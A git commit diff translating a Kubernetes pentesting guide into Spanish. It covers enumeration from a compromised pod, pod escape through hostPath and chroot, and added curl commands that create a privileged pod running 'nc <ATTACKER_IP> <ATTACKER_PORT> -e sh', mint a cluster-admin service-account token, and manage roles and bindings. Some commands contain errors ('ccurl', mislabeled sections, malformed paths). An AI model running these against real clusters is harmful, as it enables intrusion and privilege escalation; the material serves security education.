Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-enumera

This commit is contained in:
Translator
2025-01-22 09:51:56 +00:00
parent b4241e8188
commit a3a6c70b85
2 changed files with 227 additions and 19 deletions

View File

@@ -8,7 +8,7 @@ Si has comprometido el acceso a una máquina, el usuario puede tener acceso a al
En esta carpeta podrías encontrar archivos de configuración con **tokens y configuraciones para conectarse al servidor API**. En esta carpeta también puedes encontrar una carpeta de caché con información recuperada previamente.
Si has comprometido un pod dentro de un entorno de Kubernetes, hay otros lugares donde puedes encontrar tokens e información sobre el entorno K8 actual:
Si has comprometido un pod dentro de un entorno de kubernetes, hay otros lugares donde puedes encontrar tokens e información sobre el entorno K8 actual:
### Tokens de Cuenta de Servicio
@@ -72,7 +72,7 @@ Sin embargo, generalmente el **servidor API está dentro de una red interna**, p
### Diferencias entre los verbos `list` y `get`
Con permisos de **`get`** puedes acceder a información de activos específicos (_opción `describe` en `kubectl`_) API:
Con permisos de **`get`** puedes acceder a la información de activos específicos (_opción `describe` en `kubectl`_) API:
```
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
```
@@ -109,7 +109,7 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```
> [!WARNING]
> Por defecto, el pod puede **acceder** al **servidor kube-api** en el nombre de dominio **`kubernetes.default.svc`** y puedes ver la red kube en **`/etc/resolv.config`** ya que aquí encontrarás la dirección del servidor DNS de kubernetes (el ".1" del mismo rango es el punto final kube-api).
> Por defecto, el pod puede **acceder** al **kube-api server** en el nombre de dominio **`kubernetes.default.svc`** y puedes ver la red kube en **`/etc/resolv.config`** ya que aquí encontrarás la dirección del servidor DNS de kubernetes (el ".1" del mismo rango es el punto final del kube-api).
### Usando kubectl
@@ -211,7 +211,7 @@ kubernetes-role-based-access-control-rbac.md
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### Obtener otros roles
### Obtener roles de otros
{{#tabs }}
{{#tab name="kubectl" }}
@@ -290,7 +290,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
### Obtener Despliegues
Los despliegues especifican los **componentes** que deben ser **ejecutados**.
Los despliegues especifican los **componentes** que necesitan ser **ejecutados**.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -309,7 +309,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
### Obtener Pods
Los Pods son los **contenedores** que **se ejecutarán**.
Los Pods son los **contenedores** que se **ejecutarán**.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -328,7 +328,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
### Obtener Servicios
Los **servicios** de Kubernetes se utilizan para **exponer un servicio en un puerto e IP específicos** (que actuarán como balanceador de carga para los pods que realmente están ofreciendo el servicio). Esto es interesante para saber dónde puedes encontrar otros servicios para intentar atacar.
Kubernetes **services** se utilizan para **exponer un servicio en un puerto e IP específicos** (que actuará como balanceador de carga para los pods que realmente están ofreciendo el servicio). Esto es interesante para saber dónde puedes encontrar otros servicios para intentar atacar.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -347,7 +347,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/default/services/
### Obtener nodos
Obtener todos los **nodos configurados dentro del clúster**.
Obtén todos los **nodos configurados dentro del clúster**.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -459,9 +459,13 @@ k top pod --all-namespaces
{{#endtab }}
{{#endtabs }}
## Interactuando con el clúster sin usar kubectl
Dado que el plano de control de Kubernetes expone una API RESTful, puedes crear solicitudes HTTP a mano y enviarlas con otras herramientas, como **curl** o **wget**.
### Escapando del pod
Si puedes crear nuevos pods, podrías ser capaz de escapar de ellos hacia el nodo. Para hacerlo, necesitas crear un nuevo pod usando un archivo yaml, cambiar al pod creado y luego chroot en el sistema del nodo. Puedes usar pods ya existentes como referencia para el archivo yaml, ya que muestran imágenes y rutas existentes.
Si puedes crear nuevos pods, podrías ser capaz de escapar de ellos hacia el nodo. Para hacerlo, necesitas crear un nuevo pod utilizando un archivo yaml, cambiar al pod creado y luego chroot en el sistema del nodo. Puedes usar pods ya existentes como referencia para el archivo yaml, ya que muestran imágenes y rutas existentes.
```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```
@@ -501,9 +505,7 @@ restartPolicy: Never
# or using
# node-role.kubernetes.io/master: ""
```
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
Después de eso, creas el pod.
Después de eso, creas el pod
```bash
kubectl apply -f attacker.yaml [-n <namespace>]
```
@@ -517,6 +519,212 @@ chroot /root /bin/bash
```
Información obtenida de: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
### Creando un pod privilegiado
El archivo yaml correspondiente es el siguiente:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
```
Crea el pod con curl:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Eliminar un pod
Eliminar un pod con curl:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
```
### Crear una Cuenta de Servicio
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Eliminar una cuenta de servicio
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
```
### Crear un Rol
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Eliminar un rol
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
```
### Crear un Role Binding
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Eliminar un Role Binding
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
```
### Eliminar un Secreto
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Eliminar un Secreto
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""
ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
```
## Referencias
{{#ref}}